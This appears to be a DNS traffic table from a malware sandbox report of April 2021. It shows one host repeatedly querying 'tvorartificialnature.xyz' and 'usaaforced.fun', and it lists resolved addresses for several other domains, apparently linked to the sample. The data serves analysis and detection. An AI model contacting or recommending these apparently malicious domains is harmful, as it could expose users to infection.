Apr 6, 2021 19:42:29.429790020 CEST	192.168.2.22	8.8.8.8	0x1654	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.598246098 CEST	192.168.2.22	8.8.8.8	0xcba5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.788295031 CEST	192.168.2.22	8.8.8.8	0x897e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.961857080 CEST	192.168.2.22	8.8.8.8	0x4b95	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.131825924 CEST	192.168.2.22	8.8.8.8	0x90f0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.323438883 CEST	192.168.2.22	8.8.8.8	0x665	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.505501032 CEST	192.168.2.22	8.8.8.8	0x10b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.680412054 CEST	192.168.2.22	8.8.8.8	0x2612	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.853342056 CEST	192.168.2.22	8.8.8.8	0x63c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.022139072 CEST	192.168.2.22	8.8.8.8	0xca52	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.208950043 CEST	192.168.2.22	8.8.8.8	0xced0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.387761116 CEST	192.168.2.22	8.8.8.8	0x8040	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.570156097 CEST	192.168.2.22	8.8.8.8	0x5f43	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.756571054 CEST	192.168.2.22	8.8.8.8	0x1a2f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.931333065 CEST	192.168.2.22	8.8.8.8	0x5e97	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.112734079 CEST	192.168.2.22	8.8.8.8	0xe48e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.293761015 CEST	192.168.2.22	8.8.8.8	0xc39	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.473603964 CEST	192.168.2.22	8.8.8.8	0x57d8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.663604021 CEST	192.168.2.22	8.8.8.8	0x601d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.852996111 CEST	192.168.2.22	8.8.8.8	0xdec	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.027076006 CEST	192.168.2.22	8.8.8.8	0xbd75	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.207854986 CEST	192.168.2.22	8.8.8.8	0x2498	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.382910013 CEST	192.168.2.22	8.8.8.8	0xe5a7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.643718004 CEST	192.168.2.22	8.8.8.8	0xf651	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.929276943 CEST	192.168.2.22	8.8.8.8	0x4029	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.099257946 CEST	192.168.2.22	8.8.8.8	0x186	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.185661077 CEST	192.168.2.22	8.8.8.8	0xb692	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.289189100 CEST	192.168.2.22	8.8.8.8	0xa8cf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.630767107 CEST	192.168.2.22	8.8.8.8	0x4efb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.821882963 CEST	192.168.2.22	8.8.8.8	0x4db5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:35.383187056 CEST	192.168.2.22	8.8.8.8	0x79e6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:35.682473898 CEST	192.168.2.22	8.8.8.8	0xee7f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:36.344880104 CEST	192.168.2.22	8.8.8.8	0x2754	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:36.517855883 CEST	192.168.2.22	8.8.8.8	0x21	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:36.692564011 CEST	192.168.2.22	8.8.8.8	0x6252	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:36.874722958 CEST	192.168.2.22	8.8.8.8	0x10b5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.034646988 CEST	192.168.2.22	8.8.8.8	0x5c1e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.223686934 CEST	192.168.2.22	8.8.8.8	0x7277	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.403374910 CEST	192.168.2.22	8.8.8.8	0x926	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.567022085 CEST	192.168.2.22	8.8.8.8	0x99fc	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.750511885 CEST	192.168.2.22	8.8.8.8	0x9976	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.937309980 CEST	192.168.2.22	8.8.8.8	0x9ffc	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.116708040 CEST	192.168.2.22	8.8.8.8	0x6a01	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.356530905 CEST	192.168.2.22	8.8.8.8	0x1f52	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.609277010 CEST	192.168.2.22	8.8.8.8	0x490	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.789817095 CEST	192.168.2.22	8.8.8.8	0xf843	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.962863922 CEST	192.168.2.22	8.8.8.8	0x6a89	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.130934954 CEST	192.168.2.22	8.8.8.8	0xb8ff	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.312748909 CEST	192.168.2.22	8.8.8.8	0x9ecd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.494003057 CEST	192.168.2.22	8.8.8.8	0xebb1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.663842916 CEST	192.168.2.22	8.8.8.8	0xd61e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.836986065 CEST	192.168.2.22	8.8.8.8	0x1d35	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.011254072 CEST	192.168.2.22	8.8.8.8	0x18a7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.178349972 CEST	192.168.2.22	8.8.8.8	0x98fd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.348269939 CEST	192.168.2.22	8.8.8.8	0xce88	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.518769026 CEST	192.168.2.22	8.8.8.8	0x93eb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.691165924 CEST	192.168.2.22	8.8.8.8	0xb7e1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.867902040 CEST	192.168.2.22	8.8.8.8	0xa74e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.032955885 CEST	192.168.2.22	8.8.8.8	0x5e37	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.041148901 CEST	192.168.2.22	8.8.8.8	0x5f22	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.212131977 CEST	192.168.2.22	8.8.8.8	0x9079	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.378076077 CEST	192.168.2.22	8.8.8.8	0x36ef	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.562782049 CEST	192.168.2.22	8.8.8.8	0x3755	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.741616011 CEST	192.168.2.22	8.8.8.8	0x8260	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.910832882 CEST	192.168.2.22	8.8.8.8	0xdf55	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.092677116 CEST	192.168.2.22	8.8.8.8	0x8325	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.274949074 CEST	192.168.2.22	8.8.8.8	0xa59a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.446974039 CEST	192.168.2.22	8.8.8.8	0x2478	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.633116007 CEST	192.168.2.22	8.8.8.8	0x9a47	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.820396900 CEST	192.168.2.22	8.8.8.8	0xe59c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.000516891 CEST	192.168.2.22	8.8.8.8	0x88fd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.189673901 CEST	192.168.2.22	8.8.8.8	0x43cb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.352322102 CEST	192.168.2.22	8.8.8.8	0x6262	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.540776968 CEST	192.168.2.22	8.8.8.8	0x970	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.710727930 CEST	192.168.2.22	8.8.8.8	0xebec	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.878221989 CEST	192.168.2.22	8.8.8.8	0xafeb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.048813105 CEST	192.168.2.22	8.8.8.8	0x674f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.225379944 CEST	192.168.2.22	8.8.8.8	0x3a07	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.420188904 CEST	192.168.2.22	8.8.8.8	0xe940	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.586739063 CEST	192.168.2.22	8.8.8.8	0xb263	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.778337955 CEST	192.168.2.22	8.8.8.8	0xde33	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.955090046 CEST	192.168.2.22	8.8.8.8	0x9f9e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.135548115 CEST	192.168.2.22	8.8.8.8	0x9a81	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.326280117 CEST	192.168.2.22	8.8.8.8	0x4b52	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.500967026 CEST	192.168.2.22	8.8.8.8	0x91b6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.666204929 CEST	192.168.2.22	8.8.8.8	0x4199	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.843739986 CEST	192.168.2.22	8.8.8.8	0xe9f0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.025037050 CEST	192.168.2.22	8.8.8.8	0xcc2c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.210182905 CEST	192.168.2.22	8.8.8.8	0xca6f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.394228935 CEST	192.168.2.22	8.8.8.8	0x99c1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.577914000 CEST	192.168.2.22	8.8.8.8	0x6f4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.798760891 CEST	192.168.2.22	8.8.8.8	0xeebf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.982469082 CEST	192.168.2.22	8.8.8.8	0xd44	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.167284012 CEST	192.168.2.22	8.8.8.8	0x92e0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.275778055 CEST	192.168.2.22	8.8.8.8	0xa5f4	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.336500883 CEST	192.168.2.22	8.8.8.8	0x4585	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.517292023 CEST	192.168.2.22	8.8.8.8	0xca08	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.688642025 CEST	192.168.2.22	8.8.8.8	0x4d26	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.859925985 CEST	192.168.2.22	8.8.8.8	0xf9d3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.018269062 CEST	192.168.2.22	8.8.8.8	0x2034	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.211654902 CEST	192.168.2.22	8.8.8.8	0x886b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.410904884 CEST	192.168.2.22	8.8.8.8	0xb716	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.595427036 CEST	192.168.2.22	8.8.8.8	0x8c69	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.787574053 CEST	192.168.2.22	8.8.8.8	0x2727	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.966564894 CEST	192.168.2.22	8.8.8.8	0xb64d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.137937069 CEST	192.168.2.22	8.8.8.8	0x3da	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.307164907 CEST	192.168.2.22	8.8.8.8	0x5a22	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.491666079 CEST	192.168.2.22	8.8.8.8	0xad6b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.682890892 CEST	192.168.2.22	8.8.8.8	0xb7a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.853811979 CEST	192.168.2.22	8.8.8.8	0x29cf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.021822929 CEST	192.168.2.22	8.8.8.8	0x19de	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.194410086 CEST	192.168.2.22	8.8.8.8	0xe05	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.368676901 CEST	192.168.2.22	8.8.8.8	0x8019	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.551014900 CEST	192.168.2.22	8.8.8.8	0x232a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.725096941 CEST	192.168.2.22	8.8.8.8	0x194e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.898528099 CEST	192.168.2.22	8.8.8.8	0x4c8b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.075357914 CEST	192.168.2.22	8.8.8.8	0xa248	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.243278980 CEST	192.168.2.22	8.8.8.8	0xd8de	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.424928904 CEST	192.168.2.22	8.8.8.8	0x756f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.600684881 CEST	192.168.2.22	8.8.8.8	0x4067	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.836807966 CEST	192.168.2.22	8.8.8.8	0x4c2b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.023755074 CEST	192.168.2.22	8.8.8.8	0x2a5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.197987080 CEST	192.168.2.22	8.8.8.8	0x5a88	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.389333010 CEST	192.168.2.22	8.8.8.8	0x82e4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.569591045 CEST	192.168.2.22	8.8.8.8	0xeced	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.734774113 CEST	192.168.2.22	8.8.8.8	0xa294	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.924345016 CEST	192.168.2.22	8.8.8.8	0x1eb8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.098838091 CEST	192.168.2.22	8.8.8.8	0x9915	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.267034054 CEST	192.168.2.22	8.8.8.8	0x71a6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.328986883 CEST	192.168.2.22	8.8.8.8	0x5b81	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.449671030 CEST	192.168.2.22	8.8.8.8	0xb4eb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.640836000 CEST	192.168.2.22	8.8.8.8	0x2e0c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.807208061 CEST	192.168.2.22	8.8.8.8	0x1237	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:54.087867022 CEST	192.168.2.22	8.8.8.8	0x2099	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:54.264636040 CEST	192.168.2.22	8.8.8.8	0xd807	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:54.437319994 CEST	192.168.2.22	8.8.8.8	0x3c58	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:54.611021042 CEST	192.168.2.22	8.8.8.8	0x1069	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.114969969 CEST	192.168.2.22	8.8.8.8	0xd5d8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.280277967 CEST	192.168.2.22	8.8.8.8	0x1835	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.442765951 CEST	192.168.2.22	8.8.8.8	0x2758	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.652522087 CEST	192.168.2.22	8.8.8.8	0xa6fd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.826426983 CEST	192.168.2.22	8.8.8.8	0x7c12	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.002796888 CEST	192.168.2.22	8.8.8.8	0xae	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.197951078 CEST	192.168.2.22	8.8.8.8	0xe7be	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.374862909 CEST	192.168.2.22	8.8.8.8	0xf3ac	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.550286055 CEST	192.168.2.22	8.8.8.8	0xbcf3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.720128059 CEST	192.168.2.22	8.8.8.8	0xb23e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.889951944 CEST	192.168.2.22	8.8.8.8	0x8de4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.066410065 CEST	192.168.2.22	8.8.8.8	0x4169	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.242894888 CEST	192.168.2.22	8.8.8.8	0x9d47	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.420427084 CEST	192.168.2.22	8.8.8.8	0x79be	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.594017982 CEST	192.168.2.22	8.8.8.8	0x4440	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.768790960 CEST	192.168.2.22	8.8.8.8	0x2298	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.961146116 CEST	192.168.2.22	8.8.8.8	0xf825	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.137413979 CEST	192.168.2.22	8.8.8.8	0xcbb5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.328155041 CEST	192.168.2.22	8.8.8.8	0x1eeb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.517313957 CEST	192.168.2.22	8.8.8.8	0x51a6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.699392080 CEST	192.168.2.22	8.8.8.8	0x4cfe	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.886460066 CEST	192.168.2.22	8.8.8.8	0x2087	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.063658953 CEST	192.168.2.22	8.8.8.8	0xb909	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.246510029 CEST	192.168.2.22	8.8.8.8	0x5744	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.326340914 CEST	192.168.2.22	8.8.8.8	0x7bc0	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.415035009 CEST	192.168.2.22	8.8.8.8	0xd73b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.626008987 CEST	192.168.2.22	8.8.8.8	0x682f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.798034906 CEST	192.168.2.22	8.8.8.8	0xa63a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.970686913 CEST	192.168.2.22	8.8.8.8	0x72e2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.150852919 CEST	192.168.2.22	8.8.8.8	0x9ba9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.318784952 CEST	192.168.2.22	8.8.8.8	0x1943	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.492862940 CEST	192.168.2.22	8.8.8.8	0xdae9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.667444944 CEST	192.168.2.22	8.8.8.8	0xa71a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.841981888 CEST	192.168.2.22	8.8.8.8	0x28e9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:01.008249044 CEST	192.168.2.22	8.8.8.8	0x80e7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:01.186985970 CEST	192.168.2.22	8.8.8.8	0xeba2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:01.367521048 CEST	192.168.2.22	8.8.8.8	0xdc65	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:01.516343117 CEST	192.168.2.22	8.8.8.8	0xc0e7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 6, 2021 19:39:48.285459995 CEST	8.8.8.8	192.168.2.22	0x73f5	No error (0)	metaflip.io		192.185.48.186	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:51.506362915 CEST	8.8.8.8	192.168.2.22	0x8464	No error (0)	partsapp.com.br		192.185.214.87	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:52.684858084 CEST	8.8.8.8	192.168.2.22	0xdede	No error (0)	columbia.aula-web.net		50.87.146.86	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:53.763364077 CEST	8.8.8.8	192.168.2.22	0xe5e	No error (0)	tajushariya.com		199.79.62.99	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:57.102498055 CEST	8.8.8.8	192.168.2.22	0xd237	Server failure (2)	agenbolatermurah.com	none	none	A (IP address)	IN (0x0001)
